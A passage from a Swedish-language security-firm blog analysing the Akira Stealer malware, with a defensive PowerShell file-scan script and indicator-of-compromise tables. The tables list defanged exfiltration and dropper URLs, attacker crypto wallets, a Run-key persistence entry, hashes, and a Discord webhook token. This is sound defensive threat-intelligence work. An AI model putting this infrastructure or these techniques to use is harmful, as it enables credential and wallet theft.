@(\n",[1684,11606,11607],{"class":1686,"line":5087},[1684,11608,11609],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1684,11611,11612],{"class":1686,"line":5093},[1684,11613,11614],{},"    \"$env:USERPROFILE\\Documents\",\n",[1684,11616,11617],{"class":1686,"line":5099},[1684,11618,11619],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1684,11621,11622],{"class":1686,"line":5105},[1684,11623,11624],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1684,11626,11627],{"class":1686,"line":5111},[1684,11628,5252],{},[1684,11630,11631],{"class":1686,"line":5117},[1684,11632,11633],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1684,11635,11636],{"class":1686,"line":5784},[1684,11637,11638],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1684,11640,11641],{"class":1686,"line":5789},[1684,11642,11643],{},"$maxSize    = 2MB\n",[1684,11645,11646],{"class":1686,"line":5794},[1684,11647,3853],{"emptyLinePlaceholder":325},[1684,11649,11650],{"class":1686,"line":5799},[1684,11651,11590],{},[1684,11653,11654],{"class":1686,"line":5805},[1684,11655,11656],{},"# 2. Scan and Collect Matches\n",[1684,11658,11659],{"class":1686,"line":5810},[1684,11660,11590],{},[1684,11662,11663],{"class":1686,"line":5815},[1684,11664,11665],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1684,11667,11668],{"class":1686,"line":5820},[1684,11669,3853],{"emptyLinePlaceholder":325},[1684,11671,11672],{"class":1686,"line":5825},[1684,11673,11674],{},"foreach ($folder in $scanFolders) {\n",[1684,11676,11677],{"class":1686,"line":5830},[1684,11678,11679],{},"    if (-not (Test-Path $folder)) { continue }\n",[1684,11681,11682],{"class":1686,"line":5835},[1684,11683,11684],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1684,11686,11687],{"class":1686,"line":5841},[1684,11688,11689],{},"        # 2.1 Extension filter\n",[1684,11691,11692],{"class":1686,"line":5847},[1684,11693,11694],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1684,11696,11697],{"class":1686,"line":5853},[1684,11698,11699],{},"        # 2.2 Size filter\n",[1684,11701,11702],{"class":1686,"line":5858},[1684,11703,11704],{},"        if ($_.Length -gt $maxSize) { return }\n",[1684,11706,11707],{"class":1686,"line":5863},[1684,11708,3853],{"emptyLinePlaceholder":325},[1684,11710,11711],{"class":1686,"line":5868},[1684,11712,11713],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1684,11715,11716],{"class":1686,"line":5873},[1684,11717,11718],{},"        $hit = $null\n",[1684,11720,11721],{"class":1686,"line":5879},[1684,11722,11723],{},"        foreach ($kw in $keywords) {\n",[1684,11725,11726],{"class":1686,"line":5884},[1684,11727,11728],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1684,11730,11731],{"class":1686,"line":5889},[1684,11732,11733],{},"                $hit = $kw\n",[1684,11735,11736],{"class":1686,"line":5894},[1684,11737,11738],{},"                break\n",[1684,11740,11741],{"class":1686,"line":5899},[1684,11742,11743],{},"            }\n",[1684,11745,11746],{"class":1686,"line":5904},[1684,11747,11748],{},"        }\n",[1684,11750,11751],{"class":1686,"line":5909},[1684,11752,11753],{},"        if (-not $hit) { return }\n",[1684,11755,11756],{"class":1686,"line":5915},[1684,11757,3853],{"emptyLinePlaceholder":325},[1684,11759,11760],{"class":1686,"line":5921},[1684,11761,11762],{},"        # 2.4 Build relative path\n",[1684,11764,11765],{"class":1686,"line":5927},[1684,11766,11767],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1684,11769,11770],{"class":1686,"line":5933},[1684,11771,3853],{"emptyLinePlaceholder":325},[1684,11773,11774],{"class":1686,"line":5938},[1684,11775,11776],{},"        # 2.5 Collect\n",[1684,11778,11779],{"class":1686,"line":5943},[1684,11780,11781],{},"        $matches.Add([PSCustomObject]@{\n",[1684,11783,11784],{"class":1686,"line":5949},[1684,11785,11786],{},"            FileName    = $_.Name\n",[1684,11788,11789],{"class":1686,"line":5955},[1684,11790,11791],{},"            Location    = $rel\n",[1684,11793,11794],{"class":1686,"line":5961},[1684,11795,11796],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1684,11798,11799],{"class":1686,"line":5967},[1684,11800,11801],{},"            Keyword     = $hit\n",[1684,11803,11804],{"class":1686,"line":5972},[1684,11805,11806],{},"        })\n",[1684,11808,11809],{"class":1686,"line":5977},[1684,11810,11811],{},"    }\n",[1684,11813,11814],{"class":1686,"line":5983},[1684,11815,2405],{},[1684,11817,11818],{"class":1686,"line":5988},[1684,11819,3853],{"emptyLinePlaceholder":325},[1684,11821,11822],{"class":1686,"line":5993},[1684,11823,11590],{},[1684,11825,11826],{"class":1686,"line":5999},[1684,11827,11828],{},"# 3. Display Results\n",[1684,11830,11831],{"class":1686,"line":6005},[1684,11832,11590],{},[1684,11834,11835],{"class":1686,"line":6011},[1684,11836,11837],{},"clear\n",[1684,11839,11840],{"class":1686,"line":6016},[1684,11841,11842],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1684,11844,11845],{"class":1686,"line":6022},[1684,11846,11847],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1684,11849,11850],{"class":1686,"line":6028},[1684,11851,3853],{"emptyLinePlaceholder":325},[1684,11853,11854],{"class":1686,"line":6033},[1684,11855,11856],{},"if ($matches.Count -gt 0) {\n",[1684,11858,11859],{"class":1686,"line":6039},[1684,11860,11861],{},"    $matches |\n",[1684,11863,11864],{"class":1686,"line":6045},[1684,11865,11866],{},"        Sort-Object Location, FileName |\n",[1684,11868,11869],{"class":1686,"line":6050},[1684,11870,11871],{},"        Format-Table -AutoSize `\n",[1684,11873,11874],{"class":1686,"line":6055},[1684,11875,11876],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1684,11878,11879],{"class":1686,"line":6060},[1684,11880,11881],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1684,11883,11884],{"class":1686,"line":6066},[1684,11885,11886],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1684,11888,11890],{"class":1686,"line":11889},79,[1684,11891,11892],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1684,11894,11896],{"class":1686,"line":11895},80,[1684,11897,3853],{"emptyLinePlaceholder":325},[1684,11899,11901],{"class":1686,"line":11900},81,[1684,11902,11903],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1684,11905,11907],{"class":1686,"line":11906},82,[1684,11908,2405],{},[1684,11910,11912],{"class":1686,"line":11911},83,[1684,11913,11914],{},"else {\n",[1684,11916,11918],{"class":1686,"line":11917},84,[1684,11919,11920],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1684,11922,11924],{"class":1686,"line":11923},85,[1684,11925,2405],{},[1684,11927,11929],{"class":1686,"line":11928},86,[1684,11930,3853],{"emptyLinePlaceholder":325},[1684,11932,11934],{"class":1686,"line":11933},87,[1684,11935,11936],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1684,11938,11940],{"class":1686,"line":11939},88,[1684,11941,11942],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[827,11944],{"className":11945},[830,831],[528,11947,11949],{"id":11948},"_12-bortom-incidenthantering-hur-glueckkanja-csoc-förvandlar-incidenter-till-insikter","12. Bortom incidenthantering – hur glueckkanja CSOC förvandlar incidenter till insikter",[533,11951,535],{},[533,11953,11954,11955],{},"De flesta security operations centers stannar vid containment.\n",[540,11956,11957],{},"Det gör inte vi.",[533,11959,11960],{},"På glueckkanja CSOC är vi övertygade om att incident response inte är mållinjen, det är startpunkten.",[533,11962,11963],{},"När andra utropar seger och går vidare gräver vi djupare. För oss är varje incident ett tillfälle att lära, anpassa oss och bli starkare. Vår obevekliga nyfikenhet, driven av många års djup forensisk expertis och reverse engineering-kapacitet, säkerställer att vi inte bara försvarar, vi förutser.",[533,11965,11966,11967,586],{},"Den här filosofin är anledningen till att vi byggde ",[540,11968,11969],{},"Akira Compromise Reporter",[533,11971,11972],{},"Långt bortom grundläggande detektering använder det här internt utvecklade forensiska verktyget vår ingående kunskap om Akira Stealer för att ge total klarhet i vilken data som har komprometterats. Inom några minuter producerar det en exakt, handlingsbar ögonblicksbild av incidentens fulla omfattning:",[604,11974,11975,11978,11981],{},[607,11976,11977],{},"Exakt vilka credentials, tokens och browser-sessioner som stals.",[607,11979,11980],{},"Precis vilka kryptovalutaplånböcker, meddelandekonton och filer som exponerades.",[607,11982,11983],{},"En tydlig, strukturerad och detaljerad forensisk rapport som förvandlar osäkerhet till omedelbar, välinformerad handling.",[533,11985,11986],{},[748,11987],{"alt":11988,"src":11989},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[533,11991,11992],{},"För på glueckkanja mäter vi vår framgång inte bara i blockerade hot, utan i den klarhet vi ger. Cybersäkerhet, gjord rätt, handlar inte om att bara reagera på incidenter, det handlar om att förstå, anpassa sig och alltid ligga ett steg före.",[533,11994,11995],{},[540,11996,11997],{},"Det är glueckkanja CSOC-skillnaden.",[528,11999,12001],{"id":12000},"_13-indicators-of-compromise-iocs","13. Indicators of Compromise (IOCs)",[533,12003,535],{},[533,12005,12006],{},"Nedan följer en omfattande, ordagrann samling av IOC:er som extraherats direkt från malware-koden under vår interna reverse engineering-process på glueckkanja CSOC. Inga antaganden eller externa threat intel-källor användes, alla indikatorer är bekräftade fynd. Alla URL:er är avsiktligt obfuskerade för att förhindra oavsiktliga klick.",[533,12008,12009],{},[540,12010,12011],{},"Abbreviations:",[604,12013,12014,12020],{},[607,12015,12016,12019],{},[540,12017,12018],{},"TG:"," Telegram reporting channel",[607,12021,12022,12025],{},[540,12023,12024],{},"Alt:"," Alternate (fallback) endpoint",[714,12027,12029],{"id":12028},"_1-domäner-och-urler","1. Domäner och URL:er",[533,12031,720],{},[1392,12033,4685,12035],{"className":12034,"style":4684},[11110],[1408,12036,12037,4685,12049,4685,12062,4685,12075,4685,12088,4685,12101,4685,12114,4685,12127,4685,12143,4685,12159,4685,12172,4685,12185,4685,12198,4685,12211,4685,12224,4685,12237,4685,12250,4685,12263,4685,12276,4685,12289,4685,12303,4685,12316],{},[1398,12038,4690,12039,4690,12043,4690,12047,4685],{},[1401,12040,12042],{"style":12041},"text-align: left; width: 18%;","Category",[1401,12044,12046],{"style":12045},"text-align: left; width: 52%;","Obfuscated URL",[1401,12048,4862],{"style":4855},[1398,12050,4690,12051,4690,12054,4690,12059,4685],{},[1413,12052,12053],{},"Primary Injection",[1413,12055,12056],{},[551,12057,12058],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1413,12060,12061],{},"Initial attacker webhook endpoint",[1398,12063,4690,12064,4690,12067,4690,12072,4685],{"style":4711},[1413,12065,12066],{},"Fallback Injection",[1413,12068,12069],{},[551,12070,12071],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1413,12073,12074],{},"Alternate injector endpoint",[1398,12076,4690,12077,4690,12080,4690,12085,4685],{},[1413,12078,12079],{},"Error Reporting (TG)",[1413,12081,12082],{},[551,12083,12084],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1413,12086,12087],{},"Telegram error/log reporting URL",[1398,12089,4690,12090,4690,12093,4690,12098,4685],{"style":4711},[1413,12091,12092],{},"Error Reporting (Alt)",[1413,12094,12095],{},[551,12096,12097],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1413,12099,12100],{},"Alternate error/log reporting URL",[1398,12102,4690,12103,4690,12106,4690,12111,4685],{},[1413,12104,12105],{},"Vanity Bot (TG)",[1413,12107,12108],{},[551,12109,12110],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1413,12112,12113],{},"Vanity address notification endpoint",[1398,12115,4690,12116,4690,12119,4690,12124,4685],{"style":4711},[1413,12117,12118],{},"Vanity Bot (Alt)",[1413,12120,12121],{},[551,12122,12123],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1413,12125,12126],{},"Alternate vanity notification endpoint",[1398,12128,4690,12129,4690,12132,4690,12137,4685],{},[1413,12130,12131],{},"Exodus Injection",[1413,12133,12134],{},[551,12135,12136],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1413,12138,12139,12140,12142],{},"Electron ",[551,12141,4589],{}," app module",[1398,12144,4690,12145,4690,12148,4690,12153,4685],{"style":4711},[1413,12146,12147],{},"Atomic Injection",[1413,12149,12150],{},[551,12151,12152],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1413,12154,12139,12155,12158],{},[551,12156,12157],{},"AtomicWallet"," module",[1398,12160,4690,12161,4690,12164,4690,12169,4685],{},[1413,12162,12163],{},"Updater Download",[1413,12165,12166],{},[551,12167,12168],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1413,12170,12171],{},"Persistence dropper executable",[1398,12173,4690,12174,4690,12177,4690,12182,4685],{"style":4711},[1413,12175,12176],{},"Gofile API List",[1413,12178,12179],{},[551,12180,12181],{},"https[:]//api.gofile[.]io/servers",[1413,12183,12184],{},"Retrieves best GoFile upload server",[1398,12186,4690,12187,4690,12190,4690,12195,4685],{},[1413,12188,12189],{},"Discord Token Check",[1413,12191,12192],{},[551,12193,12194],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1413,12196,12197],{},"Validates stolen Discord token",[1398,12199,4690,12200,4690,12203,4690,12208,4685],{"style":4711},[1413,12201,12202],{},"Discord Billing Info",[1413,12204,12205],{},[551,12206,12207],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1413,12209,12210],{},"Retrieves billing methods",[1398,12212,4690,12213,4690,12216,4690,12221,4685],{},[1413,12214,12215],{},"Google OAuth Replay",[1413,12217,12218],{},[551,12219,12220],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1413,12222,12223],{},"Replays stolen Google session tokens",[1398,12225,4690,12226,4690,12229,4690,12234,4685],{"style":4711},[1413,12227,12228],{},"IP Check (hosting)",[1413,12230,12231],{},[551,12232,12233],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1413,12235,12236],{},"Hosting environment detection",[1398,12238,4690,12239,4690,12242,4690,12247,4685],{},[1413,12240,12241],{},"IP Lookup (geo)",[1413,12243,12244],{},[551,12245,12246],{},"http[:]//ip-api[.]com/json/{ip}",[1413,12248,12249],{},"Geolocation by IP",[1398,12251,4690,12252,4690,12255,4690,12260,4685],{"style":4711},[1413,12253,12254],{},"Public IP Retrieval",[1413,12256,12257],{},[551,12258,12259],{},"https[:]//api[.]ipify[.]org",[1413,12261,12262],{},"Fetches external IP address",[1398,12264,4690,12265,4690,12268,4690,12273,4685],{},[1413,12266,12267],{},"File.io Upload",[1413,12269,12270],{},[551,12271,12272],{},"https[:]//file[.]io/",[1413,12274,12275],{},"Secondary exfiltration channel",[1398,12277,4690,12278,4690,12281,4690,12286,4685],{"style":4711},[1413,12279,12280],{},"Oshi.at Upload",[1413,12282,12283],{},[551,12284,12285],{},"http[:]//oshi[.]at/",[1413,12287,12288],{},"Tertiary exfiltration channel",[1398,12290,4690,12291,4690,12294,4690,12300,4685],{},[1413,12292,12293],{},"JS Dropper Primary",[1413,12295,12296],{},[693,12297,12299],{"href":12298,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1413,12301,12302],{},"Remote reference to actual ZIP URL",[1398,12304,4690,12305,4690,12308,4690,12313,4685],{"style":4711},[1413,12306,12307],{},"JS Dropper Fallback 1",[1413,12309,12310],{},[693,12311,12312],{"href":3601,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1413,12314,12315],{},"Alternative payload ZIP",[1398,12317,4690,12318,4690,12321,4690,12326,4685],{},[1413,12319,12320],{},"JS Dropper Fallback 2",[1413,12322,12323],{},[693,12324,12325],{"href":3606,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1413,12327,12328],{},"Secondary fallback payload ZIP",[827,12330],{"className":12331},[830,831],[714,12333,12335],{"id":12334},"_2-kryptovaluta-adresser","2. Kryptovaluta-adresser",[533,12337,720],{},[1392,12339,4685,12341],{"className":12340,"style":4684},[11110],[1408,12342,12343,4685,12351,4685,12361,4685,12371,4685,12381,4685,12390,4685,12400,4685,12410,4685,12420,4685,12430,4685,12440],{},[1398,12344,4690,12345,4690,12348,4685],{},[1401,12346,12347],{"style":11121},"Currency",[1401,12349,12350],{"style":4855},"Address",[1398,12352,4690,12353,4690,12356,4685],{},[1413,12354,12355],{},"BTC",[1413,12357,12358],{},[551,12359,12360],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1398,12362,4690,12363,4690,12366,4685],{"style":4711},[1413,12364,12365],{},"ETH",[1413,12367,12368],{},[551,12369,12370],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1398,12372,4690,12373,4690,12376,4685],{},[1413,12374,12375],{},"DOGE",[1413,12377,12378],{},[551,12379,12380],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1398,12382,4690,12383,4690,12386,4685],{"style":4711},[1413,12384,12385],{},"LTC",[1413,12387,12388],{},[551,12389,11152],{},[1398,12391,4690,12392,4690,12395,4685],{},[1413,12393,12394],{},"XMR",[1413,12396,12397],{},[551,12398,12399],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1398,12401,4690,12402,4690,12405,4685],{"style":4711},[1413,12403,12404],{},"BCH",[1413,12406,12407],{},[551,12408,12409],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1398,12411,4690,12412,4690,12415,4685],{},[1413,12413,12414],{},"DASH",[1413,12416,12417],{},[551,12418,12419],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1398,12421,4690,12422,4690,12425,4685],{"style":4711},[1413,12423,12424],{},"TRX",[1413,12426,12427],{},[551,12428,12429],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1398,12431,4690,12432,4690,12435,4685],{},[1413,12433,12434],{},"XRP",[1413,12436,12437],{},[551,12438,12439],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1398,12441,4690,12442,4690,12445,4685],{"style":4711},[1413,12443,12444],{},"XLM",[1413,12446,12447],{},[551,12448,12449],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[827,12451],{"className":12452},[830,831],[714,12454,12456],{"id":12455},"_3-registernycklar-sökvägar","3. Registernycklar / sökvägar",[533,12458,720],{},[1392,12460,4685,12462],{"className":12461,"style":4684},[11110],[1408,12463,12464,4685,12472,4685,12482,4685,12492,4685,12505],{},[1398,12465,4690,12466,4690,12469,4685],{},[1401,12467,1653],{"style":12468},"text-align: left; width: 60%;",[1401,12470,12471],{"style":4855},"Purpose",[1398,12473,4690,12474,4690,12479,4685],{},[1413,12475,12476],{},[551,12477,12478],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1413,12480,12481],{},"Checks for virtual GPU driver signature",[1398,12483,4690,12484,4690,12489,4685],{"style":4711},[1413,12485,12486],{},[551,12487,12488],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1413,12490,12491],{},"Checks for virtual GPU provider name",[1398,12493,4690,12494,4690,12502,4685],{},[1413,12495,12496,12499,12500,1113],{},[551,12497,12498],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (value ",[540,12501,1664],{},[1413,12503,12504],{},"Persistence via Run key (Updater.exe)",[1398,12506,4690,12507,4690,12511,4685],{"style":4711},[1413,12508,12509],{},[551,12510,1672],{},[1413,12512,12513],{},"Persistence Executable",[827,12515],{"className":12516},[830,831],[714,12518,12520],{"id":12519},"_5-filer-och-hashar","5. Filer och hashar",[533,12522,720],{},[1392,12524,4685,12526],{"className":12525,"style":4684},[11110],[1408,12527,12528,4685,12539,4685,12551,4685,12563,4685,12576,4685,12588,4685,12600,4685,12612,4685,12624,4685,12637,4685,12649,4685,12662,4685,12674],{},[1398,12529,4690,12530,4690,12532,4690,12536,4685],{},[1401,12531,11454],{"style":12041},[1401,12533,12535],{"style":12534},"text-align: left; width: 62%;","SHA256",[1401,12537,12538],{"style":4855},"Size (bytes)",[1398,12540,4690,12541,4690,12543,4690,12548,4685],{},[1413,12542,1826],{},[1413,12544,12545],{},[551,12546,12547],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1413,12549,12550],{},"63936274",[1398,12552,4690,12553,4690,12555,4690,12560,4685],{"style":4711},[1413,12554,578],{},[1413,12556,12557],{},[551,12558,12559],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1413,12561,12562],{},"162036224",[1398,12564,4690,12565,4690,12568,4690,12573,4685],{},[1413,12566,12567],{},"jscrypter.js",[1413,12569,12570],{},[551,12571,12572],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1413,12574,12575],{},"1429",[1398,12577,4690,12578,4690,12580,4690,12585,4685],{"style":4711},[1413,12579,2816],{},[1413,12581,12582],{},[551,12583,12584],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1413,12586,12587],{},"30138",[1398,12589,4690,12590,4690,12592,4690,12597,4685],{},[1413,12591,2813],{},[1413,12593,12594],{},[551,12595,12596],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1413,12598,12599],{},"7155",[1398,12601,4690,12602,4690,12604,4690,12609,4685],{"style":4711},[1413,12603,2741],{},[1413,12605,12606],{},[551,12607,12608],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1413,12610,12611],{},"211",[1398,12613,4690,12614,4690,12616,4690,12621,4685],{},[1413,12615,582],{},[1413,12617,12618],{},[551,12619,12620],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1413,12622,12623],{},"205210",[1398,12625,4690,12626,4690,12629,4690,12634,4685],{"style":4711},[1413,12627,12628],{},"exodus.asar",[1413,12630,12631],{},[551,12632,12633],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1413,12635,12636],{},"132486332",[1398,12638,4690,12639,4690,12641,4690,12646,4685],{},[1413,12640,1884],{},[1413,12642,12643],{},[551,12644,12645],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1413,12647,12648],{},"28454",[1398,12650,4690,12651,4690,12654,4690,12659,4685],{"style":4711},[1413,12652,12653],{},"download.dat",[1413,12655,12656],{},[551,12657,12658],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1413,12660,12661],{},"21142",[1398,12663,4690,12664,4690,12666,4690,12671,4685],{},[1413,12665,2874],{},[1413,12667,12668],{},[551,12669,12670],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1413,12672,12673],{},"32375391",[1398,12675,4690,12676,4690,12678,4690,12683,4685],{"style":4711},[1413,12677,574],{},[1413,12679,12680],{},[551,12681,12682],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1413,12684,12685],{},"37652937",[827,12687],{"className":12688},[830,831],[714,12690,12692],{"id":12691},"_5-discord-och-telegram-identifierare","5. Discord- och Telegram-identifierare",[533,12694,720],{},[1392,12696,4685,12698],{"className":12697,"style":4684},[11110],[1408,12699,12700,4685,12706,4685,12716,4685,12726],{},[1398,12701,4690,12702,4690,12704,4685],{},[1401,12703,12042],{"style":6306},[1401,12705,1406],{"style":4855},[1398,12707,4690,12708,4690,12711,4685],{},[1413,12709,12710],{},"Discord Webhook ID",[1413,12712,12713],{},[551,12714,12715],{},"1226766972675428372",[1398,12717,4690,12718,4690,12721,4685],{"style":4711},[1413,12719,12720],{},"Discord Webhook Token",[1413,12722,12723],{},[551,12724,12725],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1398,12727,4690,12728,4690,12731,4685],{},[1413,12729,12730],{},"Telegram ID",[1413,12732,12733],{},[551,12734,12735],{},"5035121855",[827,12737],{"className":12738},[830,831],[528,12740,12742],{"id":12741},"_14-reflektioner-kring-akira-stealer-incidenten-stärk-ditt-försvar-med-glueckkanja-csoc","14. Reflektioner kring Akira Stealer-incidenten: stärk ditt försvar med glueckkanja CSOC",[533,12744,535],{},[533,12746,12747],{},"Genom hela den här bloggen har vi utforskat den sofistikerade karaktären hos Akira Infostealer, ett avancerat cyberhot som kännetecknas av riktad credential-stöld, smygande dataexfiltrering och beständiga metoder för att undgå traditionella försvar. Att förstå hur den här malwaren fungerar, riskerna den medför och sårbarheterna den utnyttjar är avgörande för att bygga en robust cybersäkerhetsstrategi.",[533,12749,12750],{},"Akira Infostealer riktar sig specifikt mot känslig data som inloggningsuppgifter, browser-sessioner, kryptovalutaplånböcker, meddelandetjänster och personliga eller organisatoriska filer. Dess kalkylerade och precisa metoder kräver mer än bara vanliga säkerhetsåtgärder, de kräver kontinuerlig övervakning, djupgående forensisk analys och proaktiv threat intelligence.",[533,12752,12753],{},"På glueckkanja CSOC utnyttjar vi vår djupa tekniska expertis och avancerade analytiska förmåga för att gå bortom enkel detektering. Vårt specialiserade team övervakar kontinuerligt hot i realtid från våra dedikerade CSOC-servrar, vilket möjliggör omedelbar identifiering, grundlig utredning och effektiv neutralisering av hot som Akira Infostealer.",[533,12755,12756],{},"Men vårt arbete stannar inte vid incident response. Varje detekterad incident berikar vår kunskapsbas, stärker vår säkerhetsprofil och säkerställer att vi förblir flera steg före framtida hot. Med glueckkanja CSOC får du mer än skydd, du får en adaptiv säkerhetspartner som är engagerad i din långsiktiga motståndskraft.",[533,12758,12759],{},"Ta nästa steg i att säkra din organisations digitala tillgångar.",[533,12761,12762],{},"Kontakta glueckkanjas cybersäkerhetsexperter idag, så säkrar vi proaktivt din framtid tillsammans.",[533,12764,12765],{},[540,12766,12767],{},"Stärk ditt försvar med glueckkanja CSOC.",[528,12769,12771],{"id":12770},"_15-säkerhets-och-ansvarsfriskrivning-användning-av-verklig-skadlig-kod","15. Säkerhets- och ansvarsfriskrivning – användning av verklig skadlig kod",[533,12773,535],{},[533,12775,12776],{},"Den här publikationen innehåller detaljerade tekniska insikter, inklusive kodutdrag och beteendeanalyser härledda från faktisk skadlig programvara som upptäckts under incident response och forensiska utredningar. Syftet med att dela den här informationen är strikt utbildande, avsett att hjälpa professionella försvarare att förstå, upptäcka och svara på verkliga hot mer effektivt. Vi publicerar det här i god tro och med avsikten att bidra till den bredare säkerhetsgemenskapen.",[533,12778,12779],{},"Det är viktigt att notera att delar av den inkluderade koden härrör från threat actor-verktygslådor och malware-prover som cirkulerar i det vilda. De här fragmenten är inte vår immateriella egendom, och ska inte heller betraktas som säkra, sanerade eller på annat sätt \"harmless\". Reproduktion eller operativ användning av sådan kod avråds uttryckligen. Läsare måste förstå att även om det här materialet fyller en forsknings- och medvetandefunktion, medför det i sig en riskprofil som inte bör underskattas.",[533,12781,12782],{},"Endast utbildade yrkespersoner som verkar inom lagligt auktoriserade miljöer, såsom ackrediterade säkerhetsteam, SOC-enheter, akademiska forskare eller malware-labb, bör befatta sig med teknikerna eller koden som beskrivs. All experimentering måste begränsas till isolerade, icke-produktionssystem och följa tillämpliga lagar, interna riktlinjer och etiska standarder.",[533,12784,12785],{},"Vi tillhandahåller ingen support eller validering för någon reproducerad kod eller något reproducerat beteende. Det finns ingen garanti för korrekthet, relevans eller fullständighet. Vidare avvisar vi uttryckligen all användning av det här innehållet för offensiva syften, obehörig red teaming, kommersiell malware-utveckling eller adversariell testning utanför ett lagligt definierat omfång. Allt missbruk kan leda till rättsliga konsekvenser. glueckkanja AG frånsäger sig allt ansvar för direkta eller indirekta skador som uppstår till följd av användning eller feltolkning av det här innehållet.",[533,12787,12788],{},"Genom att fortsätta läsa eller referera till det här innehållet bekräftar du ovanstående och samtycker till att inte missbruka, replikera eller tillämpa någon del av det i olagliga eller oetiska sammanhang. Vid tveksamhet, rådgör med din juridiska avdelning, compliance-avdelning eller dataskyddsavdelning innan du befattar dig med live-kodanalys eller liknande tekniskt material.",[533,12790,12791],{},"Den här publikationen tillhandahålls \"as is\", utan garanti, support eller ansvar.",[12793,12794,12795],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: 